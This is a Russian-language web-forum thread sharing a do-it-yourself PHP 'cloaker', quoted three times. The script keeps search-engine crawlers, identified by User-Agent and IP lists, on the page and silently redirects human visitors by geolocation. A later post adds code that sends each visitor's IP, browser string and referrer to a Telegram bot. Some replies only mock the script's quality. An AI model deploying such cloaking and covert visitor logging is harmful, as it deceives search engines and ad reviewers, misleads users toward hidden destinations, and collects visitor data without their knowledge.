Помощь Клоака на php своими руками

marketonjob

Созидатель (II)
Сообщения
1
Реакции
0
Баллы
24
<?php
// Получаем User-Agent и IP-адрес посетителя
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$ipAddress = $_SERVER['REMOTE_ADDR'];
// Получаем реферер (откуда пришёл запрос) и текущий хост
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Неизвестно';
$currentDomain = $_SERVER['HTTP_HOST'];
// Список ботов (User-Agent содержит эти строки)
$botList = [
'Googlebot',
'Bingbot',
'Slurp',
'DuckDuckBot',
'Baiduspider',
'YandexBot',
'Sogou',
'Exabot',
'facebot',
'ia_archiver',
'MJ12bot'
];
// Список IP-адресов ботов
$ipList = [
'66.249.66.1', // Пример Googlebot
'157.55.39.1', // Пример Bingbot
'114.119.133.1' // Пример Baiduspider
];
// Функция для проверки, является ли User-Agent ботом
function isBot($userAgent, $botList) {
foreach ($botList as $bot) {
if (stripos($userAgent, $bot) !== false) {
return true;
}
}
return false;
}
// Функция для проверки, входит ли IP-адрес в список
function isBotIp($ipAddress, $ipList) {
return in_array($ipAddress, $ipList);
}
// Проверяем, бот ли это
if (isBot($userAgent, $botList) || isBotIp($ipAddress, $ipList)) {
// Если это бот, оставляем его на сайте
$z_bot = true;
} else {
// Если это не бот, проверяем геолокацию
$geoData = @json_decode(file_get_contents("http://ip-api.com/json/{$ipAddress}?fields=city,regionName,countryCode"), true);
if ($geoData && isset($geoData['city'], $geoData['regionName'], $geoData['countryCode'])) {
$city = $geoData['city'];
$region = $geoData['regionName'];
$country = $geoData['countryCode'];
if ($city === 'London' && $country === 'UK') {
$z_out = "https://london.com?utm_source=$currentDomain"; // Ссылка для пользователей из Хьюстона
} else {
$z_out = "https://notlondon.com?utm_source=$currentDomain"; // Ссылка для всех остальных
}
header("Location: $z_out");
exit();
}
}
?>
 
<?php
// Получаем User-Agent и IP-адрес посетителя
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$ipAddress = $_SERVER['REMOTE_ADDR'];
// Получаем реферер (откуда пришёл запрос) и текущий хост
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Неизвестно';
$currentDomain = $_SERVER['HTTP_HOST'];
// Список ботов (User-Agent содержит эти строки)
$botList = [
'Googlebot',
'Bingbot',
'Slurp',
'DuckDuckBot',
'Baiduspider',
'YandexBot',
'Sogou',
'Exabot',
'facebot',
'ia_archiver',
'MJ12bot'
];
// Список IP-адресов ботов
$ipList = [
'66.249.66.1', // Пример Googlebot
'157.55.39.1', // Пример Bingbot
'114.119.133.1' // Пример Baiduspider
];
// Функция для проверки, является ли User-Agent ботом
function isBot($userAgent, $botList) {
foreach ($botList as $bot) {
if (stripos($userAgent, $bot) !== false) {
return true;
}
}
return false;
}
// Функция для проверки, входит ли IP-адрес в список
function isBotIp($ipAddress, $ipList) {
return in_array($ipAddress, $ipList);
}
// Проверяем, бот ли это
if (isBot($userAgent, $botList) || isBotIp($ipAddress, $ipList)) {
// Если это бот, оставляем его на сайте
$z_bot = true;
} else {
// Если это не бот, проверяем геолокацию
$geoData = @json_decode(file_get_contents("http://ip-api.com/json/{$ipAddress}?fields=city,regionName,countryCode"), true);
if ($geoData && isset($geoData['city'], $geoData['regionName'], $geoData['countryCode'])) {
$city = $geoData['city'];
$region = $geoData['regionName'];
$country = $geoData['countryCode'];
if ($city === 'London' && $country === 'UK') {
$z_out = "https://london.com?utm_source=$currentDomain"; // Ссылка для пользователей из Хьюстона
} else {
$z_out = "https://notlondon.com?utm_source=$currentDomain"; // Ссылка для всех остальных
}
header("Location: $z_out");
exit();
}
}
?>
За старание конечно спасибо Вам. Но толку от такой клоаки столько же, сколько еслиб её не было. Если речь именно о "клоаке"
 
  • Мне нравится
Реакции: pozn
<?php
// Получаем User-Agent и IP-адрес посетителя
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$ipAddress = $_SERVER['REMOTE_ADDR'];
// Получаем реферер (откуда пришёл запрос) и текущий хост
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Неизвестно';
$currentDomain = $_SERVER['HTTP_HOST'];
// Список ботов (User-Agent содержит эти строки)
$botList = [
'Googlebot',
'Bingbot',
'Slurp',
'DuckDuckBot',
'Baiduspider',
'YandexBot',
'Sogou',
'Exabot',
'facebot',
'ia_archiver',
'MJ12bot'
];
// Список IP-адресов ботов
$ipList = [
'66.249.66.1', // Пример Googlebot
'157.55.39.1', // Пример Bingbot
'114.119.133.1' // Пример Baiduspider
];
// Функция для проверки, является ли User-Agent ботом
function isBot($userAgent, $botList) {
foreach ($botList as $bot) {
if (stripos($userAgent, $bot) !== false) {
return true;
}
}
return false;
}
// Функция для проверки, входит ли IP-адрес в список
function isBotIp($ipAddress, $ipList) {
return in_array($ipAddress, $ipList);
}
// Проверяем, бот ли это
if (isBot($userAgent, $botList) || isBotIp($ipAddress, $ipList)) {
// Если это бот, оставляем его на сайте
$z_bot = true;
} else {
// Если это не бот, проверяем геолокацию
$geoData = @json_decode(file_get_contents("http://ip-api.com/json/{$ipAddress}?fields=city,regionName,countryCode"), true);
if ($geoData && isset($geoData['city'], $geoData['regionName'], $geoData['countryCode'])) {
$city = $geoData['city'];
$region = $geoData['regionName'];
$country = $geoData['countryCode'];
if ($city === 'London' && $country === 'UK') {
$z_out = "https://london.com?utm_source=$currentDomain"; // Ссылка для пользователей из Хьюстона
} else {
$z_out = "https://notlondon.com?utm_source=$currentDomain"; // Ссылка для всех остальных
}
header("Location: $z_out");
exit();
}
}
?>
Grok? Или GPT? )) Может Qwen/DeepSeek?
 

Вложения

  • Снимок экрана 2025-04-23 в 13.10.21.jpg
    Снимок экрана 2025-04-23 в 13.10.21.jpg
    600,9 КБ · Просмотры: 9
Действительно, спасибо - у себя немного поправил код.

толку от такой клоаки столько же
ну не скажите - у Вас теперь на одну реакцию больше :yahoo:.
На этом форуме достаточно трудно раздобыть реакцию.


Grok? Или GPT? )) Может Qwen/DeepSeek?
И Вам спасибо за внимание - без Вашего участия не получилось бы +1 реакция:thank-you:
 
Последнее редактирование:
  • Мне нравится
Реакции: pozn
Действительно, спасибо - у себя немного поправил код.


ну не скажите - у Вас теперь на одну реакцию больше :yahoo:.
На этом форуме достаточно трудно раздобыть реакцию.



И Вам спасибо за внимание - без Вашего участия не получилось бы +1 реакция:thank-you:
офф топ. либо я чёт не понял, но как будто тс и вы разные люди, а пишите как будто вы тс.
Еще раз простите за флуд или если я не так понял ваше выражение. :drinks:
 
Как вариант для использования совместно с телеграмм-ботом.
Определяем в начале страницы следующие функции
PHP:
function sendTelegramText($method, $parameters = array())
{
    // заменить __bot_API_KEY:KEY_API__ на действительный bot_API_KEY
    $url = 'https://api.telegram.org/__bot_API_KEY:KEY_API__/' . $method . '?' . http_build_query($parameters);
    return json_decode(file_get_contents($url), JSON_OBJECT_AS_ARRAY);
}

function sendTextToTelegram($text)
{
    // '111111111' - id администратора, кому отправляем сообщение
    sendTelegramText('sendMessage',
        [
            'chat_id' => '111111111',
            'text' => $text,
            'parse_mode' => 'html',
            'disable_web_page_preview' => 'true'
        ]);
}

там, где нужно отправить сообщение, вставляем следующий код
PHP:
// если есть нобходимость, то сделать идентификацию пользователя
$userName = "Пользователь";
// Получаем реферер (откуда пришёл запрос)
$referrer = "\nREFERER не известно.";
if (isset($_SERVER['HTTP_REFERER']))
{
    $referrer = "\nREFERER <a href = \"".$_SERVER['HTTP_REFERER']."\">".
        $_SERVER['HTTP_REFERER']."</a>";
}
// Отправляем сообщение
sendTextToTelegram("<b>".$userName."</b>".
    $referrer.
    "\nHTTP_USER_AGENT\n".
    $_SERVER['HTTP_USER_AGENT'].
    // ссылка, чтобы проверить кому принадлежит IP
    "\nIP <a href = \"https://service-for-ip.ru/whois/?ip=".
    $_SERVER['REMOTE_ADDR']."\">".
    $_SERVER['REMOTE_ADDR']."</a>".
    "\nпросматривает страницу:".
    // ссылка на саму страницу - для удобства
    "\n<a href = \"https://your-site.com/pages/".
    $page->url."\">".
    $page->name."</a>"
);
 
Последнее редактирование:
Назад
Верх